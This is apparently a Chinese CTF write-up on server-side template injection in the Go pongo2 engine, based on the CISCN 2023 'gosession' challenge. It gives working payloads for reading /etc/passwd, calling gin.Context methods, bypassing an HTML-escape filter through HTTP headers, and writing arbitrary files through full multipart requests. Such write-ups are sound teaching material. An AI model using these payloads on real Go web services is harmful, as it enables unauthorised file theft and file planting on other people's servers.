pongo2 简介
pongo2 是一个语法与 django 模板引擎语法类似的模板引擎。官方文档如下:
测试环境
测试环境来自 CISCN 2023 gosession
├── route
│ └── route.go
├── go.mod
├── go.sum
└── main.go
main.go
package main
import (
"github.com/gin-gonic/gin"
"main/route"
)
func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/admin", route.Admin)
r.GET("/flask", route.Flask)
r.Run("0.0.0.0:80")
}
main.go 中定义了三个路由:
- /
- admin
- flask
路由的具体定义可见 route.go
route.go
package route
import (
"html"
"io"
"net/http"
"os"
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
)
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, guest")
}
func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
// tpl, err := pongo2.FromString("Hello " + name + "!")
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}
func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
c.String(200, string(body))
}
这道题存在 ssti,name 参数传入的内容直接进行模板渲染,tpl.Execute 指定的 context 为 c,c 是一个 gin.Context
变量。
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
// tpl, err := pongo2.FromString("Hello " + name + "!")
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
利用
版本探测
输入 {{ pongo2.version }}
可以探测出 pongo2 模板引擎版本。
任意文件读
pongo2 语法与 django 1.7 类似,支持使用 include 关键词来包含模板文件,但 pongo2 引擎可以读取任意文件,例如:
{{ include "/etc/passwd" }}
测试环境中会因为 html.EscapeString 将双引号转义而执行失败,测试时可以将下面的代码进行注释。
xssWaf := html.EscapeString(name)
注意在 url 中输入时需要进行 url 编码:
/admin?name={%25%20include%20"/etc/passwd"%20%25}
这样就可以读取任意文件:
Hello root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
任意函数调用
pongo2 同样支持函数调用,官方给出了一些参考示例:
- https://raw.githubusercontent.com/flosch/pongo2/master/template_tests/function_calls_wrapper.tpl
{{ simple.func_add(simple.func_add(5, 15), simple.number) + 17 }}
{{ simple.func_add_iface(simple.func_add_iface(5, 15), simple.number) + 17 }}
{{ simple.func_variadic("hello") }}
{{ simple.func_variadic("hello, %s", simple.name) }}
{{ simple.func_variadic("%d + %d %s %d", 5, simple.number, "is", 49) }}
{{ simple.func_variadic_sum_int() }}
{{ simple.func_variadic_sum_int(1) }}
{{ simple.func_variadic_sum_int(1, 19, 185) }}
{{ simple.func_variadic_sum_int2() }}
{{ simple.func_variadic_sum_int2(2) }}
{{ simple.func_variadic_sum_int2(1, 7, 100) }}
eqnil: {{ simple.func_ensure_nil(nil) }}
neqnil: {{ simple.func_ensure_nil(1) }}
v1: {{ simple.func_ensure_nil_variadic(nil) }}
v2: {{ simple.func_ensure_nil_variadic() }}
v3: {{ simple.func_ensure_nil_variadic(nil, 1, nil, "test") }}
这里的 simple 其实就是模板渲染时的上下文信息,因此在函数调用时需要根据 context 的值来寻找可以利用的函数。这里测试环境的 context 为 gin.Context 对象。
查阅 gin 的官方文档 可以看到 Context 类中的函数如下:
type Context
func CreateTestContextOnly(w http.ResponseWriter, r *Engine) (c *Context)
func (c *Context) Abort()
func (c *Context) AbortWithError(code int, err error) *Error
func (c *Context) AbortWithStatus(code int)
func (c *Context) AbortWithStatusJSON(code int, jsonObj any)
func (c *Context) AddParam(key, value string)
func (c *Context) AsciiJSON(code int, obj any)
func (c *Context) Bind(obj any) error
func (c *Context) BindHeader(obj any) error
...
这些函数都是可以直接在模板中进行调用的。例如我们输入
此时会返回:
[Error (where: execution) in <string> | Line 1 Col 9 near 'c'] 'c.Abort' must have exactly 1 or 2 output arguments, the second argument must be of type error
报错信息表明 pongo2 会去调用给出的函数,由于我们没有传入参数,因此调用会抛出异常。
绕过字符串过滤
可以调用任意函数后,就可以绕过上述xssWaf := html.EscapeString(name)
的过滤。因为这里仅仅过滤了 url 参数,一种常见的思路是通过 http 头传入字符串,然后通过获取头信息来得到这个字符串。
在 gin 框架中,http.Request 类保存了 http 请求的相关内容。其中的 Header 存放了 http 头信息。
type Request struct {
Method string
URL *url.URL
ProtoMajor int // 1
ProtoMinor int // 0
Header Header
Body io.ReadCloser
GetBody func() (io.ReadCloser, error)
ContentLength int64
TransferEncoding []string
Close bool
Host string
Form url.Values
PostForm url.Values
MultipartForm *multipart.Form
Trailer Header
RemoteAddr string
RequestURI string
TLS *tls.ConnectionState
Cancel <-chan struct{}
Response *Response
}
而 Context 类的 Request 成员变量就是一个 http.Request 指针。因此可以通过 c 来获取到 http 头信息。
type Context struct {
Request *http.Request
Writer ResponseWriter
}
例如我们在 url 中传入``,然后传入 http 头:aaa: injection
GET /admin?name={{c.Request.Header.Aaa[0]}} HTTP/1.1
Host: 192.168.137.98
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
aaa: injection
Accept-Language: en-US,en;q=0.9
Cookie: session-name=MTY4NTQxMTc3MXxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXxUX9L8ZRNPWeNBBMT9NDKZ9Jpzx60fZwNoViv5j6YI5Q==
Connection: close
则可以得到这个字符串。
Hello injection!
注意: gin 会将输入的 http 头的首字符换成大写。
这样一来便可以绕过针对 url 参数的字符串过滤:
name={%25%20include%20c.Request.Header.Aaa[0]%20%25}
aaa: /etc/passwd
任意文件写
既然可以调用任意函数,那么我们可以寻找是否有文件操作的函数,搜索 Context 文档时发现存在 SaveUploadedFile 方法。
函数定义如下:
func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error
一般情况下,需要先获取上传文件的 multipart.FileHeader 对象,然后再使用 SaveUploadedFile.
Context.FormFile 函数可以从上传的文件中通过 filename 获取这个对象:
func (c *Context) FormFile(name string) (*multipart.FileHeader, error)
发包如下:
GET /admin?name={{c.FormFile(c.Request.Header.Filetype[0])}} HTTP/1.1
Host: 192.168.137.98
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
aaa: file
Filetype: file
Filepath: ./server.py
Cookie: session-name=MTY4NTQxMTc3MXxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXxUX9L8ZRNPWeNBBMT9NDKZ9Jpzx60fZwNoViv5j6YI5Q==
Connection: close
Content-Length: 193
Content-Type: multipart/form-data; boundary=01f54ee8f2872c8a0d42d14f70cdc1fe
--01f54ee8f2872c8a0d42d14f70cdc1fe
Content-Disposition: form-data; name="file"; filename="test.png"
Content-Type: image/png
This is the file content
--01f54ee8f2872c8a0d42d14f70cdc1fe--
此时会得到:
Hello <multipart.FileHeader Value>!
接下来就可以通过 SaveUploadedFile 写入文件, 发包如下:
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.Header.Filename[0]),c.Request.Header.Filepath[0])}} HTTP/1.1
Host: 192.168.137.98
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
aaa: file
Filename: file
Filepath: ./pwned
Cookie: session-name=MTY4NTQxMTc3MXxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXxUX9L8ZRNPWeNBBMT9NDKZ9Jpzx60fZwNoViv5j6YI5Q==
Connection: close
Content-Length: 193
Content-Type: multipart/form-data; boundary=01f54ee8f2872c8a0d42d14f70cdc1fe
--01f54ee8f2872c8a0d42d14f70cdc1fe
Content-Disposition: form-data; name="file"; filename="test.png"
Content-Type: image/png
This is the file content
--01f54ee8f2872c8a0d42d14f70cdc1fe--
c.SaveUploadedFile(file, “path/filename”)